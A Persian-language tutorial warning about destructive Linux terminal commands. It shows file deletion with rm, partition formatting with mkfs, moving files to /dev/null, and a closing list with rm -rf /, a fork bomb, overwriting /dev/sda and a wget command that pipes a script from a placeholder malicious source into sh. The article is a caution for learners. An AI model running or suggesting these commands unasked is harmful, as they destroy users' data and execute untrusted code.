دستورات مخرب در محیط ترمینال لینوکس
لینوکس خانوادهای از سیستم عاملهای یونیکس متن باز است که بر اساس هسته لینوکس ساخته شده اند. آنها شامل اوبونتو، فدورا، دبیان، openSUSE و Red Hat هستند.
هنگام کار با لینوکس، باید از shell استفاده کنید. برنامه ای که به شما امکان دسترسی به سرویسهای سیستم عامل را میدهد. اکثر توزیعهای لینوکس از یک رابط کاربری گرافیکی (GUI) استفاده میکنند که کار با آنها را برای مبتدیان آسان میکند.
با این حال، توصیه میکنیم از رابط خط فرمان (CLI) استفاده کنید زیرا سریعتر است و کنترل بیشتری را در اختیارتان قرار میدهد. کارهایی که در رابط کاربری گرافیکی نیاز به چندین مرحله نیاز دارند را میتوان در عرض چند ثانیه با وارد کردن دستورات CLI، انجام داد.
بنابراین اگر میخواهید از لینوکس استفاده کنید، یادگیری ابزارها یا دستورات رایج، به شما کمک زیادی میکند. برای آشنایی بیشتر با این سیستم عامل پیشنهاد می کنیم مقاله سیستم عامل لینوکس (linux) چیست؟ صفر تا صد در مورد لینوکس را مطالعه کنید.
حذف تمامی فایلهای درایو سیستم عامل لینوکس
با استفاده از دستور unlink میتوانید تمام فایلهای یک درایو را حذف کنید. گزینه دیگر استفاده از دستور rm برای حذف تمام فایلهای یک دایرکتوری است. این صفحه نحوه حذف تمام فایلهای یک درایو را با استفاده از دستورات command line توضیح میدهد.
روش حذف همه فایلها از یک درایو:
- برنامه ترمینال را باز کنید
- برای حذف همه فایل های موجود در درایو، دستور زیر را اجرا کنید:
rm /path/to/dir/*
- برای حذف همه زیر شاخهها و فایل ها، از دستور زیر استفاده نمایید:
rm -r /path/to/dir/*
مراقب دستورات rm و unlink باشید. آنها فایلها را بدون تایید حذف میکنند. همیشه یک نسخه پشتیبان مطمئن نگهداری کنید تا دادههای مهم را در زمان استفاده از این دستورات، از دست ندهید.
بیشتر بخوانید: میانبر های پر کاربرد لینوکس
فرمت هارد درایو سیستم لینوکس
فرمت دیسک فرآیندی است که یک پارتیشن را برای استفاده، آماده میکند. فرمت، دادههای موجود در پارتیشن را حذف میکند و یک فایل سیستم تنظیم میکند.
برخی از محبوب ترین فایل سیستمهای لینوکس عبارتند از:
- Ext4 – Ext4 یک سیستم فایل پیش فرض رایج در بسیاری از توزیعهای لینوکس مدرن است. حجم هر فایل تا 16 ترابایت و حجم کل تا 1 EB را پشتیبانی میکند. به طور پیش فرض در ویندوز پشتیبانی نمی شود.
- NTFS – NTFS یک فایل سیستم محبوب است که توسط مایکروسافت توسعه یافته است. حداکثر حجم کل و فایل 8PB را پشتیبانی میکند. هسته لینوکس، پشتیبانی کامل از NTFS را در نسخه 5.15 اضافه کرد.
- FAT32 – یک فایل سیستم قدیمی است، حداکثر حجم فایل 4 گیگابایت و حداکثر حجم 2 ترابایت را پشتیبانی میکند.
نحو کلی فرمت یک پارتیشن دیسک در لینوکس به شرح زیر است:
mkfs.<filesystem> </path/to/disk/partition>
به عنوان مثال، برای فرمت کردن پارتیشن /dev/sda2، میتوانید از دستور زیر استفاده کنید:
mkfs.ext4 /dev/sda2
خروجی باید شبیه به تصویر زیر باشد:
برای استفاده از فایل سیستم NTFS، به جای دستور فوق، دستور زیر را وارد نمایید:
mkfs.ntfs /dev/sda2
جهت استفاده از فایل سیستم FAT32، دستور زیر را وارد کنید:
mkfs.fat -F 32 /dev/sda2
F- پارامتر FAT-TYPE را مشخص میکند که جداول تخصیص فایل 12، 16 یا 32 بیتی را مشخص خواهد کرد.
بیشتر بخوانید: صفر تا صد کالی لینوکس – آموزش نصب کالی لینوکس
انتقال پوشه Home به dev null در لینوکس
یکی دیگر از دستورات خطرناکی که ممکن است به صورت آنلاین مشاهده کنید، انتقال یک پوشه یا فایل به /dev/null میباشد. در لینوکس، /dev/null فایلی است که به عنوان “سیاه چاله” شناخته میشود زیرا هر داده ای را که به محل این فایل منتقل میکنید، از بین میبرد.
با این حال، از آنجایی که /dev/null یک دایرکتوری نیست، بلکه یک فایل کاراکتری است، mv نمی تواند آن را با دایرکتوری دیگری بازنویسی کند. از طرف دیگر، میتوانید یک فایل را به آنجا منتقل کنید تا فایل محتوای /dev/null را بازنویسی نماید.
به عنوان مثال با اجرای دستور زیر :
sudo mv /home/{linuser}/employees.txt /dev/null
پس از اجرای این دستور، /dev/null یک فایل معمولی خواهد بود. مشکل اینجاست که /dev/null هرگز هیچ خروجی نمیدهد و صرفا یک فایل معمولی است.
mv /home/* /dev/null
دستور بالا نیز تمام محتویات Home را به /dev/null منتقل میکند و به معنای واقعی کلمه باعث نابودی کل اطلاعات میشود.
فرمانهایی که شامل دستورات مخرب هستند
اجرای دستورات مخرب میتواند آسیب جبران ناپذیری به سیستم شما وارد کند. در این راهنما، فهرستی از برخی از پرخطرترین دستوراتی را که نباید در سیستم خود اجرا کنید، گردآوری شده است.
- دستور / rm -rf
دستور rm یک دستور لینوکس است که با توجه به آرگومانهای استفاده شده، برای حذف فایلها و دایرکتوریها استفاده میشود.
- دستور :(){:|:&};:
مورد بالا در واقع یک بمب چنگالی یا fork bomb است. با ایجاد تابعی به نام ‘:’ عمل میکند که دو بار خود را فراخوانی میکند، یک بار در پیش زمینه و یک بار در پس زمینه. این تابع به طور مکرر اجرا میشود و با انجام این کار، تمام منابع سیستم را مصرف میکند که منجر به خرابی سیستم میشود.
- دستور dev/sda/ <
اجرای دستوری به دنبال dev/sda/ <، بلوک /dev/sda را روی هارد دیسک شما بازنویسی میکند. این بلوک حاوی دادههای فایل سیستم است و هنگامی که بازنویسی شود، منجر به ایجاد آسیب در سیستم میشود که غیرقابل بازیابی میباشد.
- wget http://malicious_source -O- | sh
دستور wget دستوری است که فایلها را از وب یا سرور فایل دانلود میکند. دستور بالا یک اسکریپت را از یک منبع مخرب دانلود نموده و سپس آن را اجرا مینماید.